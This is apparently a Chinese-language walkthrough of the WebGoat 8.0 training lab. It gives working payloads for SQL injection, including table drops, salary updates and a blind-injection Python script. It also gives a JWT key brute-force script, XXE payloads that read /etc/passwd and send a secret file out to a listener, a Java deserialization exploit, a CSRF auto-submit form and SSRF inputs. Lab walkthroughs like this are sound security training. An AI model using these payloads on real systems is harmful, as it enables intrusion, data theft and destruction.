历史最全 WebGoat 8.0 通关攻略
字数 1203 2025-08-18 11:39:08
WebGoat 8.0 全面通关教程
SQL Injection (intro)
基础注入技巧
-
查询特定字段:
select department from employees where first_name='Bob'; -
更新数据:
update employees set department='Sales' where first_name='Tobi'; -
修改表结构:
alter table employees add column phone varchar(20); -
权限授予:
grant alter table to UnauthorizedUser; -
经典永真式注入:
SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or '1' = '1'; -
账户注入:
-- 输入: 1 or true -- 拼接后: SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or true; -
注释符使用:
-- 输入: ' or true -- - -
更新注入:
-- 输入: '; update employees set salary=1000000 where last_name='Smith';-- - -
删除表注入:
'; drop table access_log;-- -
SQL Injection (advanced)
高级注入技巧
-
UNION注入:
-- 输入: ' or true union select 1,'2','3','4','5',password,7 from user_system_data where user_name='dave'-- - -- 拼接后: SELECT * FROM user_data WHERE last_name = '' or true union select 1,'2','3','4','5',password,7 from user_system_data where user_name='dave'-- -' -
注册页面注入:
- 注入点存在于用户名检查功能
- 使用布尔盲注技术
- Python脚本示例:
import requests from string import printable chars = printable result = "" i = 0 while True: i += 1 temp = result for char in chars: data = "username_reg=tom'+and substr(password,{0},1)='{1}'--+-&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123".format(i, char) resp = requests.put(vul_url, data=data, headers=headers, cookies=cookies) if 'already exists' in resp.text: result += char print(result) if temp == result: break
SQL Injection (mitigation)
防御措施
-
预编译语句:
try { Connection ct = null; ct = DriverManager.getConnection(DBURL, DBUSER, DBPW); PreparedStatement ps = ct.prepareStatement("select * from users where name=?"); ps.setString(1, "3"); ResultSet rs = ps.executeQuery(); } catch(Exception e) { System.out.println("123"); } -
排序注入防御:
- 使用CASE WHEN语句进行安全排序
- 示例payload:
GET /WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20substr(ip,1,1)='0'%20from%20servers%20where%20hostname='webgoat-prd')%20then%20hostname%20else%20mac%20end
Authentication Bypasses
JWT令牌攻击
-
未验证签名攻击:
- 解码JWT令牌
- 修改admin为true
- 重新编码header与payload,不添加签名部分
-
密钥爆破:
- 使用常见密钥尝试:victory, business, available, shipping, washington
- Python爆破脚本:
import jwt jwt_str = 'eyJhbGciOiJIUzI1NiJ9...' with open('pass.txt') as f: for line in f: key_ = line.strip() try: jwt.decode(jwt_str, verify=True, key=key_) print('Found key:', key_) break except jwt.exceptions.InvalidSignatureError: continue
-
刷新令牌攻击:
- 获取自己的refresh token
- 使用refresh token刷新目标用户的access token
- 使用目标用户的access token发送请求
XXE (XML External Entity)
XXE攻击技术
-
基础XXE:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <comment> <text>&xxe;</text> </comment> -
盲XXE:
- 使用外部DTD文件
- attack.dtd内容:
<!ENTITY % payload "<!ENTITY attack SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>"> - 攻击payload:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///home/axin/.webgoat//XXE/secret.txt"> <!ENTITY % test SYSTEM "http://127.0.0.1:9090/files/tntaxin/attack.dtd"> %test; %payload; ]> <comment> <text>&attack;</text> </comment>
Insecure Deserialization
Java反序列化攻击
-
攻击原理:
- 利用VulnerableTaskHolder类的readObject方法执行命令
- 构造恶意序列化对象
-
攻击代码:
package org.dummy.insecure.framework; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.Base64; public class Main { static public void main(String[] args) { try { VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6"); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(go); oos.flush(); byte[] exploit = bos.toByteArray(); String exp = Base64.getEncoder().encodeToString(exploit); System.out.println(exp); } catch (Exception e) { e.printStackTrace(); } } }
CSRF (Cross-Site Request Forgery)
CSRF攻击技术
-
JSON CSRF:
<form name="attack" enctype="text/plain" action="http://localhost:8080/WebGoat/csrf/feedback/message" METHOD="POST"> <input type="hidden" name='{"name": "Testf", "email": "test@example.com", "subject": "service", "message":"' value='test"}'> </form> <script>document.attack.submit();</script> -
绕过Content-Type限制:
- 使用307重定向
- 利用Flash跨域
SSRF (Server-Side Request Forgery)
SSRF攻击技术
-
基础SSRF:
url=images%2Fjerry.png -
外部请求:
url=http://ifconfig.pro
Challenges
管理员密码重置
-
Git信息泄露:
- 访问
/.git目录 - 使用git命令恢复历史版本:
git status git log git checkout <commit-id>
- 访问
-
随机数种子攻击:
- 使用固定种子生成伪随机数
- 运行PasswordResetLink.class获取重置链接
无账户登录
- HEAD方法绕过:
- 使用HEAD方法代替GET方法
- 服务器不会返回消息体但会处理请求
总结
本教程涵盖了WebGoat 8.0中各种安全漏洞的利用和防御方法,包括:
- SQL注入(基础、高级、防御)
- 认证绕过(JWT攻击)
- XXE攻击
- 不安全的反序列化
- CSRF攻击
- SSRF攻击
- 各种挑战题的解决方案
每个技术点都提供了详细的payload示例和攻击思路,帮助学习者全面理解Web应用安全漏洞的原理和防御措施。